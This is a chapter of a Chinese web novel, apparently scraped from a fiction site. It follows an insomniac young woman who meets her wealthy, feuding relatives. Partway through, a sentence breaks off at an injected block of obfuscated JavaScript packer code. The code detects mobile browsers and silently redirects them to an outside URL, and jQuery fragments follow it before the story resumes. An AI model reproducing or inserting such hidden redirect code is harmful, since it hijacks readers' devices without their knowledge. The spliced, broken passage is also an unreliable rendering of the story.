隋不扰受失眠困扰很久了。
平时需要加班,上床睡觉的时候可能就得凌晨三四点,躺一会儿也不知道自己有没有睡着,反正五点四十又要起床。
——隋不扰早晨洗漱的速度很快,刷牙洗脸三分钟以内就能搞定,换套衣服出门还能赶上六点的地铁。
周末明显一些,在床上翻来覆去睡不着,便只好打开电脑,把她已经翻烂了的文件再看一遍。
今天难得不用加班,她十二点前就躺上床了,但直到凌晨两点,她还是瞪着一双眼睛看着天花板,毫无睡意。
心跳快得不同寻常,她眨了眨眼,又眨了眨眼。
再躺了十几分钟,她终于放弃抵抗,翻身起床,打开床头灯,拿起手机刷社交媒体。
隋不扰已经记不起上一次打开星博是什么时候了,但她感觉两次打开也没什么不同。
上一次热搜第一是荀昼,这次热搜第一也是荀昼。
#荀昼臭##荀昼素颜生图#
点进话题,映入眼帘的就是一组偷跑照片。画面中的男人身上穿着戏服,未施粉黛的脸蛋在阳光下白得宛如瓷玉,眉眼干净得像初雪,浑身上下都透露出一股未经世事的纯。
偏生笑起来的时候眼尾弯着的弧度像狐狸,浓密的睫毛在眼底投下惑人的阴影。
自从出道以来,他就只演正剧,感情戏与他一点都不搭边。虽然有点演技,但看到那张脸时大多数人就会下意识地觉得他肯定是个花瓶,加上又是个纯粹的新人,与他有关的话题必然是腥风血雨。
黑粉的话题楼说他私底下其实不做身体管理,一点都不像粉丝吹的那样是香香软软小蛋糕。
被虐来的死忠粉说其实都是对家给弟弟做的局,见到漂亮纯情还会戴贞操锁的新人就忮忌。
隋不扰点开那张荀昼的怼脸大图,对着那双望向镜头时无辜又懵懂的双眼看了片刻,长按点选保存。
如果这张脸真是纯天然的,那确实是天上有人间无的漂亮。
她顺手往下滑,下一条就是荀昼的星博动态。
他闲来无事就喜欢做哄睡视频,有时候是asmr,有时候是念故事。
“今晚要读的是……”
男人压低的声音通过扬声器在房间内响起,乍听是清凌凌的冷,尾音却带着一种欲言又止的粘稠感。
像蜜。
隋不扰把手机放在枕头边上,声音传进她耳朵里时,几乎就像荀昼贴着她的耳朵在说话。
她不记得自己点开的究竟是哪条视频,但当她再次睁眼时,惊讶地发现窗外天亮了。
她睡着了?
隋不扰摸来手机,打开一看,视频的自动轮播早就不知道停了多久,时间显示的是早晨八点。
这家伙的哄睡视频居然对她的失眠有用?她还以为自己会因为缺少睡眠而英年早逝呢。
她点进荀昼的超话,满屏都是粉丝哭天喊地的虐粉作文。
在一众「弟弟又被资本做局」的哀嚎里,隋不扰找到一张她最喜欢的单人图设置成壁纸。
这大概是她知道家里破产以后,除了想要探寻真相以外第一次那么强烈地对外界事物产生「想要」这个念头。
她的嘴角不受控制地弯起,笑容里是她自己都未曾发现的轻松,伸出手指戳了一下锁屏里男人宛若凝脂的脸颊。
漂亮蛋糕要保佑她天天能睡好觉啊。
在家待了半天,下午三点,顾珺意准时准点按响了门铃。
身为家族中话语权最大的继承人,亲自来接她这个潜在的权力竞争者,顾珺意的合作诚意是给足了。
隋不扰没怎么挑衣服,就一身洗得发白的T恤和长裤。相比之下,顾珺意身上那套熨烫挺括的衬衫和西裤倒更像是今天第一次回家的人。
顾珺意的目光在她身上一扫而过,脸上的笑容更是没有为此而变化半分:“准备好了吗?”
隋不扰把手机塞进口袋,低头换了一双运动鞋,瞥见顾珺意连皮靴都擦得锃亮。她缓缓直起身:“准备好了。”
反手锁上门,隋不扰跟着顾珺意下楼。
“秋婆婆,这是新买的鞋子吗?”
楼下走上来一个头发花白的女性,她身体还硬朗,爬楼梯也毫不气喘。听到顾珺意热络的搭话,隋不扰才低头看了一眼老人脚上的鞋子。
秋婆婆弯着眼睛笑:“是啊,这鞋子穿着舒服,一点也不紧。”
“阿叔,您今天用的什么止汗剂?真好闻。”
“哈哈哈我就出门丢个垃圾,还什么都没用呢。”
“叶奶奶,怎么拎着这么多东西?我来帮你!”
下楼的一路上,顾珺意都像早已熟识那样和擦肩而过的大妈大爷们聊天。
隋不扰一个都不认识,顾珺意却能叫出大部分人的姓。
隋不扰沉默地像个女鬼一样飘荡在顾珺意的身后,盯着对方的背影时,她就在想——
自家厂子的事,会不会和顾珺意有关呢?
顾珺意和自己年纪一样大,二十四岁。这个年纪就已经可以在母辈和子辈两辈人之间拿到最多的股份,她绝不是等闲之辈。
但顾珺意本人究竟怎么样,都不是她现在要想的事情。
她妈妈还没有从植物人的状态里苏醒,没办法接回家,她一个人照顾不过来,而躺在医院的每一分每一秒都在烧钱。
她需要钱。需要很多钱。
她还不知道顾珺意在顾家真实的地位和顾家内部的情况,自然也不知道如果自己加入争权,胜算几何。
所以现在,唯一能让她快速、合法地拿到很多钱的办法,就是当好顾珺意的助手,所以无论顾珺意是真心拉拢还是另有所图,她都没有选择的余地。
她只能往前走。
“上车吧。”顾珺意打开汽车后门,微微倾身做了个「请」的手势。
隋不扰钻进后座,顾珺意随后跟上。
车子里闻不到一点皮革的臭味,反而萦绕着一股淡淡的甜香。司机缓缓启动车辆,古老陈旧的楼群在车窗中后退。
“喏,你看,这是我们家族的合照。”顾珺意从公文包里取出一张照片递到隋不扰面前,“咱们家枝繁叶茂,光是我姥姥那辈就有六位姐妹兄弟——啊,当然,我姥姥只有一个亲弟弟,其余的都是堂亲。”
照片里每一个人都衣着光鲜,笑容得体,簇拥着第一排正中央的老人,而顾珺意则亲昵地靠在老人的身边。
如顾珺意昨日所说,几乎每一个参与争权的女性都有一个甚至两个手足或是自己亲生的孩子,偌大一个家族,只有顾珺意一个人是光杆司令。
在顾珺意再次重复了她孤身一人的处境时,隋不扰的眼皮跳了跳,心头冒出一个疑问:那顾远岫呢?
在发现顾珺意不是自己的亲生女儿以前,她们两个人应该也是天然的联盟。
就算外界传言顾观澜想直接把家业交给顾珺意继承是真的,顾远岫自己继承和自己的女儿继承又有什么差别呢?
想要自己手握权力,也不至于把女儿当成敌人。
这其中想来还有其它不为人知的秘密。
车辆行驶了约有四十来分钟,终于开进了顾家的小区。
今天只是为了让顾观澜见一眼隋不扰,目的地自然是顾观澜的别墅。顾家各人在成家后就各自搬出去住了,仍然和顾观澜住在一起的是她的七堂妹顾晤真。
顾晤真本不叫顾晤真,晤真是她做了道士以后师母给她起的道号,她一生未娶,加上顾观澜人年纪上去了就开始迷信,所以留了顾晤真在身边。
顾晤真无意争权,大家自然也乐得捧着。
下了车,顾珺意自然而然地牵起隋不扰的手,掌心传来的温度让隋不扰下意识想要挣脱,最终还是任由顾珺意拉着。
“姥姥,我们回来啦!”
顾珺意一进门,就把双手围在嘴边当成喇叭,对着客厅的方向大喊。很快,玄关走廊的尽头出现了一个精神烁烁的身影。
“回来啦?”老人眼尾鱼尾纹都浸着笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223755|181644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意,“你是不扰?”
被顾观澜温和的目光从头到脚地审视,隋不扰感到一丝隐约的不适,但对方的笑容里似乎完全没有恶意。
隋不扰深吸一口气:“您好,我是隋不扰。”
顾观澜抬手摸了摸隋不扰的头顶:“就叫我姥姥好了,这么多年……你受苦了。”
隋不扰张了张嘴,没有说出反驳的话,而是顺从地低下头,让顾观澜揉脑袋。
顾珺意笑眯眯地站在旁边看着这对祖孙俩的互动,似乎完全没有吃醋。
顾观澜转身回客厅,她刚离开,旁边的楼梯上便传来拖鞋趿地的声音,一个年轻女人缓步而下。
她上下打量了一番隋不扰,抱胸倚靠在墙上,似笑非笑的神情无比讥诮:“我朋友总说穷酸气是刻在人骨子里的,我本来不信。”
女人轻佻的眼神掠过隋不扰身上廉价的短袖和长裤:“今天我算是开眼了。”
顾珺意不动声色地侧身,将隋不扰挡在身后:“小姑,说出口的话还是谨慎为好。”
被叫做小姑的女人看着和顾珺意差不多大,闻言,她嗤笑一声:“顾珺意,大姑不在这儿,你何必装这个菩萨。”
顾珺意无奈地勾唇,看着小姑的样子简直像在包容一个不懂事的后辈:“小姑,我什么时候装过菩萨?”
顿了顿,她转头面对隋不扰,声音轻柔:“妹妹,忘记介绍了,这是我们的小姑,顾叙章。”
隋不扰乖乖点头,向顾叙章伸出手:“您好,我是隋不扰。”
“呵。”
顾叙章翻了个白眼,转身就要离开。
隋不扰没怎么感到尴尬,正要收回手,顾珺意却像是觉得她受了什么天大的委屈似的,上前两步扣住顾叙章的手。
顾珺意脸上仍带着笑,声音却冷了下来:“小姑,妹妹和你打招呼呢。”
顾叙章眉头一皱,压低声音,咬牙切齿地问:“顾珺意,你在这儿发什么疯?”
“道歉。”顾珺意眼神坚定,手指逐渐收紧,顾叙章手腕处的肌肤开始泛白,“为你的无礼道歉。我可不希望妹妹觉得我们顾家是没有家教的人。”
“……”顾叙章难以置信地看着顾珺意,就好像重新认识了这个人一般,“你脑子有病吧?让我对她道歉?”
“对。”顾珺意说,“人没有高低贵贱之分,你怎么能用穷酸气这种恶毒的词语形容妹妹?”
顾叙章猛地甩开顾珺意的手:“怎么?现在连说句实话都不行了?”她扬起下巴,从上而下地俯视隋不扰,“顾珺意,你就这么甘心被她抢——”
“小姑。”顾珺意突然出声打断,她此刻背对着隋不扰,隋不扰看不到她脸上的表情,“姥姥最近心脏不好,而且人年纪上去了,总是希望家和万事兴的。你说,要是让她听见……”
顾叙章眼中闪过一丝慌乱,她下意识往客厅方向瞥了一眼,又很快挺直腰杆:“……少拿大姑压我。”
听出顾叙章话语中的底气淡了几分,顾珺意的眼中才终于重新染上笑意:“我是在提醒你。”
她向前逼近一步,抬手,两指指腹捻了捻顾叙章的衣领。顾叙章用力拍开她的手,她也不恼,指腹摩挲两下:“毕竟,我不希望小姑这么早就在这场战争里被除名呀。”
顾叙章舌尖顶腮:“你威胁我?”
“怎么会?”顾珺意轻笑出声,“小姑从小陪我一起长大,所有的姑姑姐妹里,我最喜欢的就是小姑了。”
她转头对隋不扰露出一副充满歉意的表情:“妹妹,你别介意,小姑就是性子直。其实她没有恶意的。”
顾叙章眯了眯眼,半晌,她才对着隋不扰扯出一个僵硬的笑容:“抱歉,小隋,刚才是我失礼了。”
隋不扰静静地看着这场交锋,扯了扯嘴角:“没事……小姑。”
顾珺意这才挽起隋不扰的手臂,绕过顾叙章走入客厅。
顾叙章站在原地,直到听到顾珺意甜甜叫着姥姥的声音,她嘴角才勾起一抹玩味的弧度。